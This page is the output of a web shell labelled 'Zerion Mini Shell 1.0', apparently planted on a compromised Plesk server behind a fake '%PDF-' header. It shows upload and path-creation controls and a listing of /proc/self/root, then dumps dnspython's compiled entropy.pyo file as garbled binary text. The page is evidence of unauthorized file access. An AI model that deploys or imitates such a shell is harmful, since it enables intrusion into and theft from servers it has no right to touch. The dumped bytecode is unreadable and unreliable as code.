%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/
Upload File :
Create Path :
Current File : //proc/self/root/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyo

�
�ac@s�ddlZddlZddlZddlmZmZyddlZWnek
riddl	ZnXde
fd��YZe�Zyej
�ZWnek
r�dZnXd�Zd�ZdS(i����Ni(tlongtbinary_typetEntropyPoolcBsMeZdd�Zed�Zd�Zd�Zd�Zd�Z	d�Z
RS(cCs,d|_d|_d|_tj�|_y(ddl}|j�|_	d|_
Wnqtk
r�y(ddl}|j
�|_	d|_
Wq�tk
r�ddl}|j
�|_	d|_
q�XnXtd|j
�|_|dk	r|jt|��t|_tj�|_nt|_d|_dS(Nii����iis(t
pool_indextNonetdigestt	next_bytet
_threadingtLocktlockthashlibtsha1thashthash_lentImportErrortshatnewtmd5t	bytearraytpooltstirtTruetseededtostgetpidtseed_pidtFalse(tselftseedR
RR((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyt__init__#s0			



		cCs�|s|jj�nzbx[|D]S}|j|jkrDd|_n|d@}|j|jc|N<|jd7_q WWd|s�|jj�nXdS(Nii�i(R	tacquireRR
Rtrelease(Rtentropytalready_lockedtctb((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyR>s

cCs�|js|jtj�kr�ytjd�}Wnntk
r�y7tddd�}z|jd�}Wd|j�XWq�tk
r�t	t
j
��}q�XnXt|_tj�|_d|_
t|�}|j|t�ndS(Nis/dev/urandomtrbi(RRRRturandomt	ExceptiontopentreadtclosetstrttimeRRRRR(RRtr((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyt_maybe_seedLs 

		cCs�|jj�z�|j�|jdks;|j|jkr�|jjt	|j
��t|jj��|_|j|jt
�d|_n|j|j}|jd7_Wd|jj�X|S(Nii(R	RR-RRRR
RtupdateRRRRRR(Rtvalue((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pytrandom_8_s

!cCs|j�d|j�S(Ni(R0(R((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyt	random_16nscCs|j�d|j�S(Ni(R1(R((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyt	random_32qscCs�||d}|td�kr/td��n|dkrS|j}td�}n-|dkrq|j}d}n|j}d}|||�|dS(	NiIstoo bigiI����ii��i�(Rt
ValueErrorR2R1R0(Rtfirsttlasttsizetrandtmax((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pytrandom_betweents				N(t__name__t
__module__RRRRR-R0R1R2R9(((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyRs				cCs*tdk	rtjdd�Stj�SdS(Nii(t
system_randomRt	randrangeRR1(((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyR1�scCs4tdk	r tj||d�Stj||�SdS(Ni(R<RR=RR9(R4R5((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pytbetween�s(RtrandomR+t_compatRRt	threadingRRtdummy_threadingtobjectRRtSystemRandomR<R&RR1R>(((s@/opt/plesk/python/2.7/lib/python2.7/site-packages/dns/entropy.pyt<module>s
g	

	

Zerion Mini Shell 1.0